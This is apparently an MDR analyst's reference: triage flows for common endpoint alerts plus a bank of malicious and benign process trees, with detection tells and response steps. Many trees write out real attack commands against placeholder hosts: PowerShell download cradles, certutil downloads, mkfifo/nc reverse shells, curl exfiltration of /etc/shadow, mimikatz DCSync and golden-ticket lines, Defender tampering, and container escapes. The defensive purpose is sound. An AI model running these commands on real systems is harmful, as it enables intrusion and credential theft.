// mdr · field kit

Process Tree Bank
fast calls on the console

The reference I keep open on shift. Triage flows for the detections that come up every day, and a bank of process trees: chains I've seen go bad in DFIR investigations, plus the legit look-alikes that waste time. Generic patterns only.

139
process trees
98
malicious
19
benign noise
121
ATT&CK techniques
// triage flows · open the one that matches the alert
Office app spawned a shell or script hostWINWORD / EXCEL / POWERPNT / OUTLOOK is the parent of cmd, powershell, mshta, wscript, cscript, rundll32 or regsvr32
  1. Is the child signed Microsoft and in a normal path with a benign command line (for example an add-in’s helper)? → yes: DIG (confirm the add-in is known) · no: go to 2
  2. Does the command line download or decode anything (http, -enc, FromBase64, certutil -decode, bitsadmin)? → yes: ESCALATE
  3. Was a file written to %TEMP%, AppData or Public and then executed? → yes: ESCALATE
  4. Did the document arrive by email or browser download (check its Zone.Identifier and mail logs)? → yes, with no clear business reason: ESCALATE · otherwise DIG
Encoded or obfuscated PowerShellpowershell or pwsh with -enc / -EncodedCommand, FromBase64String, IEX, -w hidden, char arrays or string concatenation soup
  1. Decode the blob (Base64 is UTF-16LE for -enc). Is it a known management script (SCCM, Intune, monitoring agent) with a signed parent like CcmExec.exe or AgentExecutor.exe? → yes, and seen fleet-wide: CLOSE (benign) · no: go to 2
  2. Does the decoded script reach out (Net.WebClient, Invoke-WebRequest, DownloadString, Start-BitsTransfer) or run memory-only code (IEX, Reflection.Assembly, VirtualAlloc)? → yes: ESCALATE
  3. Is the parent an Office app, browser, script host (wscript, mshta), explorer.exe from a LNK, or a web server? → yes: ESCALATE
  4. Any network connection from the PowerShell process to a non-corporate IP or fresh domain? → yes: ESCALATE
  5. Is it obfuscated but local only (no network, no child processes, no file writes)? → DIG (check script block logging, user, and whether the same command line runs on other hosts)
LOLBin making network connectionscertutil, bitsadmin, mshta, regsvr32, rundll32, msiexec or similar connects out or pulls a remote file
  1. Is the destination a known vendor or Microsoft update host and the parent a signed installer or updater? → yes: CLOSE (benign) · no: go to 2
  2. Does the command line contain a URL or UNC path (certutil -urlcache -f, bitsadmin /transfer, mshta http, regsvr32 /i:http ... scrobj.dll, rundll32 ... javascript:)? → yes: ESCALATE
  3. Did the LOLBin write a file to %TEMP%, AppData, ProgramData or Public, then that file executed? → yes: ESCALATE
  4. Is rundll32/regsvr32 loading a DLL from a user-writable path or with no export / odd export name? → yes: ESCALATE
  5. Is the destination a raw IP, newly registered domain, paste site, or file share (Discord CDN, GitHub raw, transfer.sh)? → yes: ESCALATE · unclear: DIG (check prevalence of this exact command line across the fleet)
Unsigned binary running from a user-writable pathunsigned or untrusted-signer EXE/DLL executing from AppData, Temp, Users\Public, Downloads or ProgramData
  1. Is it a known per-user app that lives in AppData by design (Teams, Slack, Zoom, Discord, VS Code, Chrome updater) with matching name, path and publisher metadata? → yes: CLOSE (benign) · no: go to 2
  2. What is the parent? Office app, browser, script host, rundll32, archive tool from an email attachment? → yes: ESCALATE · user double-clicked from explorer.exe: go to 3
  3. Hash reputation: known malicious or zero prevalence across the fleet and the internet? → malicious: ESCALATE · unknown: go to 4
  4. Does it make network connections, inject into other processes, create persistence (Run key, task, service) or spawn shells? → yes: ESCALATE
  5. Is the file name random, mimicking a system binary (svch0st.exe, csrss.exe outside System32), or double-extension? → yes: ESCALATE · otherwise DIG (pull the file, check origin URL via Zone.Identifier)
LSASS access or credential dumpinghandle open / memory read on lsass.exe, a dump file of lsass, or tooling like mimikatz, procdump, comsvcs MiniDump, nanodump
  1. Is the accessing process a known security product, backup agent or Windows component (signed, normal path, expected on every host)? → yes: CLOSE (benign) · no: go to 2
  2. Command line contains comsvcs.dll MiniDump, procdump -ma lsass, sekurlsa, lsadump, or Out-Minidump? → yes: ESCALATE
  3. Was a .dmp file written (often to Temp, Public, C:\Windows\Temp)? → yes: ESCALATE
  4. Other credential sources touched: reg save HKLM\SAM / SYSTEM / SECURITY, ntds.dit copy, vssadmin shadow of the DC? → yes: ESCALATE
  5. Unknown process reading LSASS with no dump artifact? → DIG (signer, prevalence, user context; treat as ESCALATE if it runs as a non-admin user who just got admin, or on a DC)
New service or scheduled task createdsc create / New-Service / 7045 event, schtasks /create / Register-ScheduledTask / new task XML in System32\Tasks
  1. Was it created by a signed installer or software deployment tool and the binary it points to is signed and in Program Files? → yes: CLOSE (benign) · no: go to 2
  2. Does the service/task run cmd, powershell, mshta, rundll32, regsvr32 or an encoded command? → yes: ESCALATE
  3. Does it point to a binary in Temp, AppData, Public, ProgramData or a UNC path? → yes: ESCALATE
  4. Was it created remotely (creator is services.exe via RPC, wmiprvse.exe, or a network logon just before)? → yes: go to the lateral movement card and ESCALATE
  5. Random or vendor-mimicking name (GoogleUpdateTaskMachineX, WindowsUpdateSvc) with an odd trigger (every minute, at logon)? → yes: ESCALATE · otherwise DIG
Remote execution or lateral movementPsExec / PSEXESVC, wmiprvse or WinRM (wsmprovhost) spawning shells, remote service creation, unusual RDP logon, impacket-style command lines
  1. Is the source host a known admin jump box or management server and the account a named admin doing it during change hours? → yes: CLOSE (benign) · no: go to 2
  2. Does the child command look like impacket (cmd.exe /Q /c ... 1> \\127.0.0.1\ADMIN$\__<num>) or a random-named service binary in ADMIN$? → yes: ESCALATE
  3. Is wmiprvse.exe or wsmprovhost.exe spawning powershell, cmd or rundll32 with downloads or encoded commands? → yes: ESCALATE
  4. Is the same account hitting many hosts in a short window, or a service account logging on interactively / via RDP? → yes: ESCALATE
  5. Did the source host have a prior alert (credential dumping, unknown binary) in the last day? → yes: ESCALATE · otherwise DIG (map source, account, and what ran on the target)
Web server process spawned a shellw3wp, httpd, nginx, tomcat/java, php-fpm, node or sqlservr is the parent of cmd, powershell, sh, bash or recon commands
  1. Is the child a documented health check or app function (for example a known script the app always calls, seen on every node)? → yes: CLOSE (benign) · no: go to 2
  2. Is the child running recon (whoami, ipconfig, net user, id, uname -a, systeminfo)? → yes: ESCALATE (classic webshell first command)
  3. Was a new script file written under the web root (.aspx, .jsp, .php) shortly before? → yes: ESCALATE
  4. Does the shell download, decode or open a network connection out? → yes: ESCALATE
  5. Is the server internet-facing and running a product with a recent public exploit? → yes: ESCALATE · otherwise DIG (pull web logs for the request that preceded the spawn)
Browser spawned a script or downloaded executablechrome, msedge or firefox is the parent of wscript, cscript, mshta, powershell, cmd, or a freshly downloaded EXE/MSI runs from Downloads
  1. Is it a signed installer from a known vendor the user plausibly needed (download URL matches the vendor domain)? → yes: CLOSE (benign) · no: go to 2
  2. Is the file a .js, .vbs, .hta, .lnk, .iso, .img or a ZIP containing one? → yes: ESCALATE
  3. Did the user just paste and run a command (Win+R or terminal) after a fake CAPTCHA / “fix it” page (powershell or mshta with a URL from explorer.exe)? → yes: ESCALATE
  4. Is the download from a lookalike domain, ad redirect, or a “free software” / cracked tool site? → yes: ESCALATE
  5. Did the new process connect out, drop more files, or add persistence? → yes: ESCALATE · otherwise DIG (check Zone.Identifier HostUrl and browser history for the source)
Ransomware precursorsshadow copy deletion, backup or recovery tampering, boot config changes, mass file renames or writes with a new extension
  1. Is it vssadmin delete shadows, wmic shadowcopy delete, Get-WmiObject Win32_Shadowcopy | Remove, wbadmin delete catalog or bcdedit /set recoveryenabled no? → yes: ESCALATE now (do not wait for more evidence)
  2. Mass renames or writes across many folders with a new extension, or ransom note files appearing (README, HOW_TO_DECRYPT)? → yes: ESCALATE now, push for isolation
  3. Backup or database services being stopped in bulk (net stop, sc stop on backup, SQL, Exchange)? → yes: ESCALATE
  4. Is it a backup product itself managing its own snapshots (signed, expected path, scheduled)? → yes: CLOSE (benign)
  5. Anything else that looks like prep (AV tampering, fsutil / cipher /w, network share enumeration from one host)? → DIG fast and treat as ESCALATE if paired with any card above
Defender or EDR tamperingDefender exclusions added, real-time protection disabled, security service stopped or uninstalled, agent unload attempts
  1. Was the change made by a known management tool or policy (GPO, Intune, the security team’s own console) during a change window? → yes: CLOSE (benign) · no: go to 2
  2. Add-MpPreference -ExclusionPath / -ExclusionProcess pointing at Temp, AppData, Public, a whole drive, or a random EXE? → yes: ESCALATE
  3. Set-MpPreference -DisableRealtimeMonitoring, sc stop / sc config ... disabled on a security service, or taskkill against AV/EDR processes? → yes: ESCALATE
  4. A vulnerable or unknown driver loaded just before (BYOVD pattern)? → yes: ESCALATE
  5. Done by a local admin user by hand with no ticket? → DIG (confirm with the customer; escalate if anything else on the host is suspicious)
Suspicious Linux execution chaincurl/wget piped to sh, new cron entry, new authorized_keys line, reverse shell patterns, binaries running from /tmp or /dev/shm
  1. Is it a config management or package tool (ansible, puppet, chef, apt/yum, cloud-init) with a known source repo? → yes: CLOSE (benign) · no: go to 2
  2. curl | bash / wget -O- | sh from a raw IP, paste site or unknown domain? → yes: ESCALATE
  3. Reverse shell patterns: bash -i >& /dev/tcp/, nc -e, mkfifo, python -c 'import socket...', socat exec? → yes: ESCALATE
  4. Binary executed from /tmp, /var/tmp or /dev/shm, or a process with a deleted binary on disk? → yes: ESCALATE
  5. New cron job, systemd unit, .bashrc line or authorized_keys entry not tied to a known user or deploy? → yes: ESCALATE
  6. Parent is a web server, database or container runtime? → ESCALATE · otherwise DIG (check auth logs for the session that ran it)
RMM or remote-access tool appearsAnyDesk, ScreenConnect, TeamViewer, Atera, Splashtop, NetSupport, RustDesk, MeshAgent or similar installs or runs
  1. Is this tool the customer’s sanctioned RMM, seen across many hosts, installed by their IT deployment? → yes: CLOSE (benign) · no: go to 2
  2. Was it installed or run from Downloads, Temp or AppData as a portable copy, or by a script/LOLBin rather than an installer? → yes: ESCALATE
  3. Did it arrive right after a phishing click, fake support call, or browser download from a lookalike site? → yes: ESCALATE
  4. Is it a second RMM on a host that already has the sanctioned one? → yes: ESCALATE
  5. Is the ScreenConnect/relay instance pointing at an unknown tenant or self-hosted relay? → yes: ESCALATE · otherwise DIG (ask the customer if anyone requested remote support)
Data staging or exfiltrationarchive tools (7z, rar, zip, tar) compressing large data sets, or rclone, MEGAsync, WinSCP, curl uploads to cloud storage
  1. Is it a known backup or sync job (sanctioned tool, service account, scheduled, same destination every time)? → yes: CLOSE (benign) · no: go to 2
  2. Is rclone, MEGAcmd, restic or a renamed copy of one running (check original file name and command line for config, copy, mega:, s3:)? → yes: ESCALATE
  3. Archive created with a password (-p, -hp) or split volumes, staged in Temp, Public, PerfLogs or a share root? → yes: ESCALATE
  4. Large outbound transfer to a cloud storage or file share domain not used by this customer? → yes: ESCALATE
  5. Did it follow other alerts (discovery, lateral movement, credential access) on this host or account? → yes: ESCALATE · otherwise DIG (size, destination, user, and whether this user normally moves this data)
Is this just admin or IT noise?anything that looks bad but might be a sysadmin, deployment tool or scheduled job. Run this before closing as benign.
  1. Parent and signer: is the activity launched by a known, signed management agent (SCCM, Intune, GPO, RMM in use fleet-wide, backup, vulnerability scanner) from its normal install path? → no: go back to the specific card and DIG
  2. Prevalence: does the exact command line (not just the process name) appear on many hosts and on previous days? → no, first seen and on one host: DIG
  3. User context: is it a service account or named admin doing what that account always does, from where it always does it? → no (new account, odd host, odd hour): DIG
  4. Timing: does it line up with a change window, patch cycle, onboarding, or a ticket the customer can confirm? → unsure: DIG (ask, don’t assume)
  5. Payload: no download from an unknown host, no encoded blob you couldn’t read, no new persistence, no security tool changes? → all clean: CLOSE (benign) and note why · any red flag: ESCALATE
Dev tool or package install spawned a shell or made a connectionnode / npm / npx / pip / python / an Electron app (VS Code, Discord, Slack) is the parent of cmd, powershell, sh, curl or wget, or made an outbound connection
  1. Does the command line contain a URL with iex/| sh, -enc/base64 -d, -w hidden, exec(/eval(, or write an exe/script into Temp, AppData, Public, /tmp or /dev/shm and run it? → yes: ESCALATE · no: go to 2
  2. Did the process read secrets it has no build reason to touch (browser Login Data/cookies, wallet folders, .ssh, .npmrc, .aws, .env) or POST to a webhook, paste site, raw IP or fresh domain? → yes: ESCALATE · no: go to 3
  3. Name the trigger: from the parent command line and working directory, which package (node_modules\<pkg>, pip-install-<random>\<pkg>), extension folder or project script started it? Is it a known package, correctly spelled, and not a version published in the last few days? → unknown, typosquat-looking or brand new: DIG (read its package.json scripts / setup.py) · known: go to 4
  4. Do the children stay local and look like building (node-gyp, python gyp, MSBuild on binding.sln, cl.exe, gcc, cmake, git, linters) with network only to the registry, PyPI, GitHub or the vendor? → yes: go to 5 · no: DIG
  5. Is this a developer, data science or build host, and was the user or CI job actually running an install/build (interactive terminal, IDE, CI agent)? → no (server, finance laptop, service account, nothing typed): ESCALATE · yes: go to 6
  6. Is the binary signed and in its normal install path (not a portable python.exe/node.exe in Temp or Public), and is the same parent and child pattern seen across other dev hosts? → yes: CLOSE (benign) · no: DIG
// process trees
139 / 139 trees
malicious defense evasion windows

Add-MpPreference exclusions or MpCmdRun -RemoveDefinitions from a non-admin parent

rundll32.exe (beacon) | <loader>.exe | wscript.exe
└─ cmd.exe
   └─ powershell.exe Add-MpPreference -ExclusionExtension .exe -Force
      powershell.exe Add-MpPreference -ExclusionPath C:\Windows\Temp, C:\Temp
      powershell.exe Add-MpPreference -ExclusionPath <current drive>
"C:\ProgramData\Microsoft\Windows Defender\Platform\<ver>\MpCmdRun.exe" -RemoveDefinitions -All

Tells

  • Exclusions for a whole extension (.exe), a drive, or Temp paths.
  • Parent is a loader, rundll32 or a script host, not Intune/GPO/SCCM.
  • -RemoveDefinitions -All wipes signatures; legit use is rare troubleshooting.

Next

  • List current exclusions (Get-MpPreference) and Defender 5007 config-change events.
  • Remove them and rescan the excluded paths.
  • Treat everything in the excluded paths as malware.
malicious c2 windows

Agent in C:\Users\Public named like a vendor service, spawning PowerShell

C:\Users\Public\splunkd.exe -socket <ip>:<port>        (Caldera Sandcat)
├─ powershell.exe -ExecutionPolicy Bypass -C "<caesar-shifted command>"
├─ powershell.exe -ExecutionPolicy Bypass -C Get-Process
└─ powershell.exe -ExecutionPolicy Bypass -C wmic /NAMESPACE:\\root\SecurityCenter2 PATH AntiVirusProduct GET /value

Tells

  • A vendor binary name (splunkd.exe) outside its install directory.
  • -socket <ip>:<port> on the command line.
  • Steady stream of short PowerShell children with Bypass.

Next

  • Kill and block the C2; decode the obfuscated commands to see what it collected.
  • Check for staged archives (staged.zip) and UAC bypass tooling (Akagi).
  • Look for the same binary on other hosts.
T1036.005 · T1059.001 · T1518.001 seen in toolate
malicious initial access linux

apache2 / PHP worker → sh → bash -i reverse shell

apache2 (www-data)
└─ sh -c 'uname -a; w; id; /bin/bash -i'
   └─ bash -i                         (stdin/stdout on a socket to <ip>:<port>)
php variants:
apache2 / php-fpm
└─ sh -c /bin/bash <&3 >&3 2>&3                   (fsockopen reverse shell)
└─ sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <host> <port> >/tmp/f

Tells

  • apache2/httpd/nginx/php-fpm spawning sh or bash.
  • uname -a; w; id as the first command: pentestmonkey PHP reverse shell.
  • Established outbound connection owned by www-data.

Next

  • Find the uploaded .php in the web root and its request in access.log.
  • Check for privesc (sudo misconfig, SUID) and persistence the shell created.
  • Look at /dev/shm and /tmp for dropped tooling.
T1190 · T1505.003 · T1059.004 seen in backstage, fingerprint, ultimatum
malicious defense evasion windows

bcdedit /set safeboot network after turning off LSA protection

powershell.exe                                   (after an in-memory AMSI patch)
├─ reg.exe add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
└─ bcdedit.exe /set safeboot network

Tells

  • bcdedit with safeboot outside maintenance: EDR will not load on the next boot.
  • RunAsPPL set to 0 is a precursor to lsass theft.
  • AMSI bypass strings in 4104 just before.

Next

  • Revert the boot config before any reboot; isolate the host.
  • Check for an lsass dump attempt and ransomware staging.
  • Find the account and its source.
T1562.009 · T1562.001 seen in operation-blackout-2025-smoke-mirrors
malicious persistence windows

Beacon writing an HKCU Run key that re-runs a PowerShell IEX cradle

powershell.exe                                   (beacon host)
└─ cmd.exe /C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v <Update> /t REG_SZ /d "powershell.exe -nop -w hidden -c IEX((new-object net.webclient).downloadstring('http://<ip>:80/<path>'))"
   └─ reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run ...

Tells

  • A Run value whose data is a PowerShell download cradle.
  • Generic value names (Update) pointing at -w hidden -c IEX.
  • Written by a PowerShell process that already has C2 connections.

Next

  • Delete the value and block the IP; it fires again at next logon.
  • Look at every other child of the same PowerShell PID (discovery, staging dirs).
  • Check other hosts for the same Run value name.
T1547.001 · T1059.001 seen in maromafix-falldown-ransomhub
malicious lateral movement windows

Binary executed straight from \\tsclient during an RDP session

explorer.exe                                  (RDP session from <ip>)
└─ \\tsclient\<attacker drive>\<name>.dll.exe

Tells

  • Image path starting \\tsclient\: the file lives on the attacker machine.
  • Double extension (.dll.exe).
  • Defender detections citing a tsclient path, then the same file appearing in an excluded folder.

Next

  • Check Defender exclusions added on the host and redeployed copies.
  • Review RDP logons (1149, 4624 type 10) and the source IP.
  • Disable drive redirection by policy.
T1021.001 · T1036.007 · T1570 seen in marksman
malicious lolbin windows

certutil -decode of a staged payload

<parent: cmd.exe / powershell.exe>
└─ certutil.exe -decode C:\Users\<user>\AppData\Local\Temp\<random>.txt C:\Users\<user>\AppData\Local\Temp\<random>.exe
   └─ (next) <random>.exe / rundll32.exe <random>.dll,<export>

Tells

  • -decode / -decodehex turns a base64 or hex text file into a binary: classic way to sneak a PE past mail and web filters.
  • Input file is usually a .txt, .crt or .log dropped seconds earlier by the same parent.
  • Legit PKI admins use certutil for -store, -verify, -dump, not to build executables in Temp.

Next

  • Grab both the encoded input and decoded output paths; hash the output.
  • Find what wrote the input file (a script host, browser, Office).
  • Check whether the output was executed or loaded.
T1140 · T1027
malicious lolbin windows

certutil -urlcache -f pulling a binary or script

cmd.exe | powershell.exe | <beacon>
└─ certutil.exe -urlcache -split -f http(s)://<ip|domain>/<file> <dest>
      dest seen: C:\Windows\Temp\svchost.exe, svch0st.exe, <tool>.zip, <name>.dll, credentials.txt

Tells

  • certutil with -urlcache and a URL is a download, full stop.
  • Destinations in C:\Windows\Temp, user Downloads or the CWD, often renamed to a system-like name.
  • Sources on GitHub, paste sites or file-sharing hosts (sendit.sh style) get past URL reputation.

Next

  • Pull the file from CryptnetUrlCache even if it was deleted from the destination.
  • Hash and identify it (Rubeus, mimikatz, LPE exploits are common).
  • Look at what executed the downloaded file next.
malicious lateral movement windows

certutil pulling RunasCs, then a shell as another user

<reverse shell as user A>
├─ certutil.exe -urlcache -f http://<internal ip>/RunasCs.exe RunasCs.exe
└─ RunasCs.exe <userB> <password> cmd.exe -r <ip>:<port>
later:
powershell.exe (user B)  → psgetsys ImpersonateFromParentPid -ppid <SYSTEM pid> → SYSTEM shell

Tells

  • Plaintext password on a RunasCs command line.
  • Staging from an internal host (another compromised box).
  • A process whose recorded parent is a SYSTEM service but whose creator was a user shell (PPID spoofing).

Next

  • Reset user B; find where the password came from (DPAPI, saved creds).
  • Investigate the internal staging host.
  • Look for 4104 ImpersonateFromParentPid and the resulting SYSTEM persistence.
T1078 · T1105 · T1134.004 seen in shadowbait
malicious initial access windows

ClickFix: Run-dialog paste launching mshta or hidden PowerShell

explorer.exe                                  (Win+R paste, recorded in RunMRU)
├─ mshta.exe http://<domain>/<path> # I am not a robot - reCAPTCHA Verification ID: <n>
│  └─ powershell.exe -w hidden -enc <base64>     (base64 + gzip → IEX)
│     ├─ cmd.exe /c bitsadmin /transfer <job> /download /priority normal "https://<paste-host>/<name>.ps1" "C:\Windows\Temp\<name>.ps1"
│     └─ certutil.exe -urlcache -f "http://<ip>/<random>.dll" "C:\Windows\Temp\<name>.dll"
└─ powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://<ip>/<file>.ps1')"

Tells

  • mshta.exe with an http(s):// argument and explorer.exe as parent has no enterprise use.
  • The # comment with captcha text is the lure; mshta ignores everything after it.
  • RunMRU holding a hidden PowerShell or mshta command is a one-key triage win.

Next

  • Read HKCU\...\Explorer\RunMRU for the exact pasted command (attackers sometimes wipe it).
  • Decode the PowerShell and list everything it pulled with certutil/bitsadmin.
  • Find the lure site in browser history and block it; check for other visitors.
T1204.004 · T1218.005 · T1059.001 · T1105 · T1197 seen in dumpster, fake, pikaptcha
malicious defense evasion windows

cmstp /s with a rogue INF

<parent: cmd.exe / powershell.exe>
└─ cmstp.exe /ni /s C:\Users\<user>\AppData\Local\Temp\<random>.inf
   └─ (via COM: DllHost.exe {3E5FC7F9-9A51-4367-9063-A120244FBEC7})
      └─ cmd.exe / powershell.exe (elevated)

Tells

  • cmstp (Connection Manager profile installer) with an INF from a user path. Real VPN profile installs are rare and come from IT.
  • INF RunPreSetupCommandsSection runs commands or a remote .sct.
  • A high-integrity child via the CMSTPLUA COM object = UAC bypass.

Next

  • Grab the INF file and read the commands it runs.
  • Check child integrity level; if elevated, assume admin compromise on the host.
T1218.003 · T1548.002
malicious defense evasion linux

Container shell → host escape attempt

containerd-shim-runc-v2 -namespace moby -id <id>
└─ sh / bash   (inside container)
   └─ mount /dev/sda1 /mnt ; chroot /mnt sh
   └─ nsenter --target 1 --mount --uts --ipc --net --pid -- sh
   └─ docker -H unix:///var/run/docker.sock run -v /:/host --privileged <image> chroot /host

Tells

  • Inside a container: nsenter -t 1, mounting host disks, chroot into a host mount, or talking to a mounted docker.sock.
  • Privileged containers or /var/run/docker.sock mounts make this trivial.
  • Interactive shells in production containers are already unusual; kubectl exec by an admin is the benign case, so check who.

Next

  • Identify the container image, its privileges and mounts.
  • Check host-level activity after the escape (new users, SSH keys, cron).
  • Find how the shell started inside the container (exposed app, stolen credentials).
T1611 · T1059.004
malicious persistence linux

cron @reboot or */n entry launching something from /tmp

cron
└─ /bin/sh -c /tmp/<name>
   └─ /tmp/<name>                          (miner / implant)
cron
└─ /bin/sh -c /tmp/<name>.sh
   └─ busybox nc <ip> <port> -e /bin/sh

Tells

  • Cron lines referencing /tmp, /dev/shm or /var/tmp.
  • The same @reboot line in root and a user crontab.
  • Writes to /etc/crontab or /var/spool/cron outside config management.

Next

  • Remove the lines and the binary; check every cron location.
  • Hash the binary (miners and Mirai-style bots are common).
  • Find the initial access (SSH brute force, web RCE, cloned repo).
T1053.003 · T1059.004 seen in trend, psittaciformes
malicious persistence linux

cron → curl/wget download-and-run

cron / crond
└─ /bin/sh -c "(curl -fsSL http://<ip>/<path> || wget -q -O- http://<ip>/<path>) | sh"
   └─ sh
      └─ /tmp/.<random>/<miner-or-bot>

Tells

  • A cron job that fetches and pipes to sh every few minutes = re-infection loop. Real cron jobs run local scripts.
  • curl || wget fallback, hidden dot folders in /tmp, high CPU child.

Next

  • List crontabs (/var/spool/cron/*, /etc/cron.d/*, /etc/crontab) and find the entry and when it was written.
  • Find the original entry point (webapp, SSH) that planted it.
T1053.003 · T1105 · T1059.004
malicious execution linux

curl or wget piped straight into sh/bash

<shell | app worker | pod process>
├─ sh -c "curl -L https://github.com/<repo>/releases/latest/download/linpeas.sh | sh"
├─ sh -c "wget http://<ip>/<path>/run.sh -O- | sh"
└─ sh -c "apt install -y curl && curl <url> | bash"         (inside a container)

Tells

  • A download tool whose stdout feeds a shell.
  • Bare IP or GitHub raw/releases URL.
  • Package installs inside a running container are their own red flag.

Next

  • Fetch the script from telemetry or a sandbox, not from the host.
  • Check what it changed: users, keys, cron, services.
  • For containers, find the exposed endpoint that ran commands.
malicious exfil linux

curl POSTing /etc/shadow or /etc/passwd to an attacker host

bash
├─ sh -c "base64 /etc/shadow | curl -X POST -d @- http://<ip>/<name>.php"
└─ curl -X POST -d /etc/passwd http://<ip>:443

Tells

  • curl -X POST -d @- or -d <sensitive file>.
  • Plain HTTP to port 443, or a bare IP.
  • Preceded by privilege checks (sudo -l, id).

Next

  • Assume every password hash on the box is cracked; rotate.
  • Check the same destination from other hosts.
  • Find the access path (web shell, SSH brute force).
T1048.003 · T1041 · T1003.008 seen in webstrike, luckyshot
malicious credential access windows

DCSync for krbtgt, golden ticket and Rubeus from a workstation

powershell.exe . .\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<domain> /user:krbtgt"'
mimikatz.exe "kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /krbtgt:<hash> /id:500 /ptt"
mimikatz.exe "kerberos::ptt <ticket>.kirbi"
explorer.exe / cmd.exe
└─ C:\Users\<user>\Downloads\Rubeus.exe kerberoast ...      (DC: 4769 with RC4 0x17 seconds later)

Tells

  • lsadump::dcsync from anything that is not a DC: 4662 with replication GUIDs from a workstation account.
  • kerberos::golden / /ptt on a command line.
  • Rubeus or PowerView in a user profile, matched to an RC4 TGS request on the DC.

Next

  • Treat krbtgt as compromised: double reset with replication time between.
  • Find every host where the forged/requested tickets were used.
  • Check service accounts with SPNs for crackable passwords.
T1003.006 · T1558.001 · T1558.003 · T1550.003 seen in domainnance, splunkit, campfire-1, ghosttrace
malicious initial access windows

Double-extension EXE from Downloads launching msiexec

firefox.exe                                  (DNS to a cloud-storage content host, then file write)
explorer.exe
└─ C:\Users\<user>\Downloads\<document-name>.exe.exe | <name>.tiff.exe
   ├─ msiexec.exe /i "<AppData\Roaming>\<vendor>\<name>.msi"
   └─ (writes) <AppData>\<vendor>\<name>.cmd

Tells

  • .exe.exe, .pdf.exe, .tiff.exe: Windows hides the real extension by default.
  • EXE from Downloads, parent explorer.exe, followed within seconds by msiexec /i.
  • Sysmon 2 (file time changed) right after install = timestomping.

Next

  • Check the download URL (browser history, Zone.Identifier) and who else pulled it.
  • List what the MSI installed and any service/Run key it registered.
  • Pull the dropped .cmd and the backdoor it launches (UltraVNC-style RATs are common here).
T1204.002 · T1036.007 · T1218.007 seen in heartbreaker-continuum, heartbreaker, unit42
malicious defense evasion windows

Downloaded EXE injecting into notepad.exe or cmd.exe that then beacons

explorer.exe
└─ C:\Users\<user>\Downloads\<update|PuTTY|tool>.exe
   └─ notepad.exe | cmd.exe                       (no window; private RWX region with shellcode)
      ├─ (network) → <ip>:<port>
      └─ whoami.exe /all
notepad.exe                                        (Security 4799: enumerates Backup Operators in user context)

Tells

  • notepad.exe or cmd.exe making outbound connections.
  • Notepad as the caller of group enumeration (4799) or other discovery.
  • A trojanised known tool (PuTTY, “update.exe”) from Downloads or a mounted ISO.

Next

  • Dump the process memory and pull the C2 from the injected region (Sliver/Cobalt Strike).
  • Check the loader for other targets it injected into.
  • Look for service-DLL tampering or other privesc set up while the implant ran.
T1055 · T1204.002 · T1033 seen in codefreeze, yourehired, crashdump, operation-blackout-2025-ghost-thread
malicious credential access windows

esentutl copying a locked browser credential database

<beacon>
└─ esentutl.exe /y "C:\Users\<user>\AppData\Local\<browser>\User Data\Default\<db>" /d <staging>\<name>

Tells

  • esentutl /y on a browser profile file; it exists to copy ESE DBs with open handles.
  • Parent is a beacon or script, not a backup tool.

Next

  • Assume saved browser passwords and cookies are stolen; reset and revoke sessions.
  • Check for follow-on logons with those credentials (VPN, file servers).
T1555.003 seen in markshell-ta577
malicious initial access windows

Excel 4.0 (XLM) macro → rundll32/regsvr32

EXCEL.EXE
└─ (download via URLDownloadToFileA in-process) C:\Users\Public\<random>.ocx / .dll
└─ rundll32.exe C:\Users\Public\<random>.ocx,DllRegisterServer
└─ regsvr32.exe -s ..\<random>.ocx

Tells

  • Excel making HTTP connections itself, then rundll32/regsvr32 loading a file it just wrote. XLM macros call Windows APIs directly, no PowerShell needed.
  • Odd extensions (.ocx, .dat, .ooccxx) in Public, ProgramData or the user folder.
  • Classic Emotet/Qakbot/Dridex delivery.

Next

  • Get the workbook (mail attachment) and hash the dropped DLL.
  • Check DLL network activity and injection; hunt the sender and attachment.
T1566.001 · T1059 · T1218.011 · T1218.010
malicious initial access windows

Executable launched from a hidden folder on a USB drive

explorer.exe
└─ E:\hidden\<system-like name>.exe              (removable drive)
   └─ drops <random>.dll ×4 to %TEMP%, copies itself to %APPDATA%\<system-like name>.exe
<malware>
└─ (writes) <USB>:\USB.exe + .lnk shortcuts      (worm spread)

Tells

  • Process image on a removable drive letter in a hidden folder.
  • System names (Trusted Installer.exe, WmiPrvSE.exe) in user paths.
  • LNK files created on removable media pointing at an EXE.

Next

  • Identify the USB device (USBSTOR, partition events) and quarantine it.
  • Check every host the device was plugged into.
  • Pull the C2 config from the dropped files.
T1091 · T1036.005 · T1105 seen in xworm
malicious initial access windows

Fake software installer from a download

<browser>.exe
└─ (download) C:\Users\<user>\Downloads\<App>_Setup_x64.exe / .msi / .zip
explorer.exe
└─ <App>_Setup_x64.exe   (unsigned or signed by an unrelated company)
   └─ powershell.exe -w hidden -c "Add-MpPreference -ExclusionPath ..."
   └─ C:\Users\<user>\AppData\Roaming\<random>\<random>.exe
   └─ (network) <ip>:443

Tells

  • Malvertising and SEO poisoning: the “installer” came from an ad or lookalike domain, not the vendor.
  • Signer does not match the product, or the file is unsigned; size is odd; Defender exclusions get added.
  • Drops a second exe into AppData plus a Run key or task, then beacons.

Next

  • Check the download URL/referrer in browser history and the Zone.Identifier.
  • Hash, signer, prevalence; look at persistence and network.
  • Check for credential theft (browser data access) and scope the user’s sessions.
T1204.002 · T1036.005 · T1189
malicious c2 windows

finger.exe as a downloader

<parent: cmd.exe / explorer.exe (Run dialog)>
└─ cmd.exe /c finger <user>@<ip> | cmd
   └─ finger.exe <user>@<ip>
   └─ cmd.exe   (runs what finger returned)

Tells

  • finger is a dead protocol (TCP 79). Any outbound use on a modern host is suspicious.
  • Piping finger output into cmd or redirecting to a file = download-and-run.
  • Seen in ClickFix variants.

Next

  • Pull the IP and check other hosts talking to it on port 79.
  • See what the piped cmd ran.
T1105
malicious defense evasion windows

GetSystem: service running cmd /c echo <random> > \\.\pipe\<random>

services.exe
└─ cmd.exe /c echo <random> > \\.\pipe\<random>    (7045 temp service, removed right after)

Tells

